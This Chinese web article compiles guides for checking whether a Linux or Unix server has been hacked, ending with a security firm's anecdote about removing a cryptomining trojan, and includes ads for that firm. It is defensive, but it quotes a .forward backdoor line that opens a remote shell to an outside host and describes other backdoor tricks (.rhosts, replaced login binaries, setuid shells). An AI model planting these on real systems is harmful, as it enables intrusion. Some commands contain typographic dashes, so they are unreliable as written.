当前位置:首页 > 服务器 > 正文

如何查看服务器是否被入侵(服务器被入侵了怎么去排查)

今天给各位分享如何查看服务器是否被入侵的知识,其中也会对服务器被入侵了怎么去排查进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

0基础自学linux运维-8.1-服务器入侵溯源小技巧整理(转)

最近某司网站主页被篡改了,找师傅帮忙看看怎么回事,师傅没有空就交给我了……我自己这方面没有了解很多。事情结束后,又找师傅问了问关于溯源的技巧经验,于是就有了这篇小结。

看对方的目的是什么,就是最终目标是做什么。然后根据自己经验 看看达到这个目标 需要进行什么操作 逆推回去。看看这些过程都会留下什么日志。

分析网站源码可以帮助我们获取网站被入侵时间, 黑客如何的 IP, 等信息, 对于接下来的日志分析有很大帮助。

可以使用 D 盾查杀是否存在网站后门,如果存在 webshell,记录下该 webshell 的信息。

找到 webshell 后,就可以根据该文件的路径,在日志里查找有关信息,例如访问该文件的 IP、时间等。可以根据这些信息确定网站别入侵的时间,从而缩小搜索范围,运气好了可以直接根据 IP 找到黑客。

diff 工具推荐-diffmerge

可以根据被修改的文件的修改时间,缩小搜索范围。

可以根据文件的排序迅速找到被黑客修改的文件,从而找到入侵时间。

例:查看 10 分钟内修改过的文件

网站日志一般为

根据上一步分析网站源码得到的信息在对日志文件进行筛选分析,因为日志文件会记录很多信息,如果一条一条分析,不是很现实。

web-log 分析工具

系统日志分析

/var/log/wtmp 和/var/run/utmp 两个文件无法直接使用 cat 命令输出,但是可以使用一些命令来查看,比如 w/who/finger/id/last/ac/uptime

该命令查询 /var/log/wtmp 文件并显示 当前 系统中每个用户和它所运行的进程信息:

该命令往回搜索 /var/log/wtmp 文件来显示自从该文件第一次创建以来所有登录过的用户:

如果指明了用户,则该命令只显示该用户的近期活动:

/var/log/lastlog 文件在每次有用户登录时被查询。可以使用 lastlog 命令来检查某特定用户上次登录的时间,并格式化输出上次登录日志 /var/log/lastlog 的内容。它根据 UID 排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog 显示 Never logged(从未登录过)。注意需要以 root 运行该命令:

4. id 用单独的一行打印出当前登录的用户,每个显示的用户名对应一个登录会话。 如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数:

检查服务器是否有黑客留下的木马程序。

指令:ps aux|grep ‘pid’

整理完这篇总结,感觉溯源是一个很细节的事情,需要注意每一个细节,这篇总结也可以是一个备忘,以后在遇到溯源的活,做的时候就可以更系统一些。第一次投稿写的不好,师傅们多多指教哈,嘻嘻。

Linux如何判断自己的服务器是否被入侵

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

1

   

awk –F:’$3==0 {print $1}’ /etc/passwd

   

顺便再检查一下系统里有没有空口令帐户:

1

   

awk –F: ‘length($2)==0 {print $1}’ /etc/shadow

   

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/.forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。

求助服务器被挖矿程序入侵,如何排查

 新客户于最近向我们SINE安全公司咨询,说他的服务器经常卡的网站无法打开,远程连接

服务器的慢的要命,有时候PING值都达到300-500之间,还经常掉包,听客户这么一说,一般

会判断为受到了CC+DDOS混合流量攻击,再具体一问,说是机房那面没有受到流量攻击,这

就有点奇怪了,不是流量攻击,还导致服务器卡,网站无法打开,这是什么攻击?为了解决客

户服务器卡的问题,我们随即安排安全工程师对他的Linux服务器进行了安全检测与安全部署。

 

SSH远程登录客户的Linux服务器,查看当前的进程发现有一个特别的进程占用了百分之100

的CPU,而且会持续不断的占用,我们查了查该进程,发现不是linux的系统进程,我们对进程

的目录进行查看,发现该进程是一个木马进程,再仔细进行安全分析,才确定是目前最新的挖

矿木马病毒,挖的矿分很多种,什么比特币,什么罗门币的,太多太多,看来现在的挖矿技术

扩展到了入侵服务器进行肉鸡挖矿了。

挖矿木马的检测与清除

 

我们在系统的目录下发现了挖矿木马主要是以 Q99.sh命名的文件来控制客户的linux服务器,看

里面写的代码是以root权限运行,并自动启动计划任务,当服务器重启时继续执行计划任务,

导致客户怎么重启都于事无补,还是卡的要命。该木马代码还调用了一些Linux系统命令,bashe

bashd来挖矿,该命令是最直接也是占用CPU到顶峰的关键,太粗鲁了,这样的挖矿本身就会让

客户发现问题,看来挖矿者只顾着赚钱,不考虑长久之道了。

 

挖矿木马还设计了挖矿进程如果被客户强制停止后,会自动启动继续挖矿,达到不间断的挖矿,

仔细检查发现是通过设置了每个小时执行任务计划,远程下载shell挖矿木马,然后执行,检查

当前进程是否存在,不存在就启动挖矿木马,进行挖矿。

对客户的linux服务器进行详细了安全检测发现幸亏没有加密服务器的数据,以及感染蠕虫的病

毒,如果数据被加密那损失大了,客户是做平台的,里面的客户数据很重要,找出挖矿木马后,

客户需要知道服务器到底是如何被攻击的? 被上传挖矿木马的? 防止后期再出现这样的攻击

状况。

通过我们安全工程师的安全检测与分析,发现该服务器使用的是apache tomcat环境,平台的开

发架构是JSP+oracle数据库,apache tomcat使用的是2016年的版本,导致该apache存在严重

的远程执行命令漏洞,入侵者可以通过该漏洞直接入侵服务器,拿到服务器的管理员权限,

SINE安全工程师立即对apache 漏洞进行修复,并清除木马,至此问题得以解决,客户服务器

一切稳定运行,网站打开正常。

如何查看服务器是否被入侵的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于服务器被入侵了怎么去排查、如何查看服务器是否被入侵的信息别忘了在本站进行查找喔。

取消
扫码支持 支付码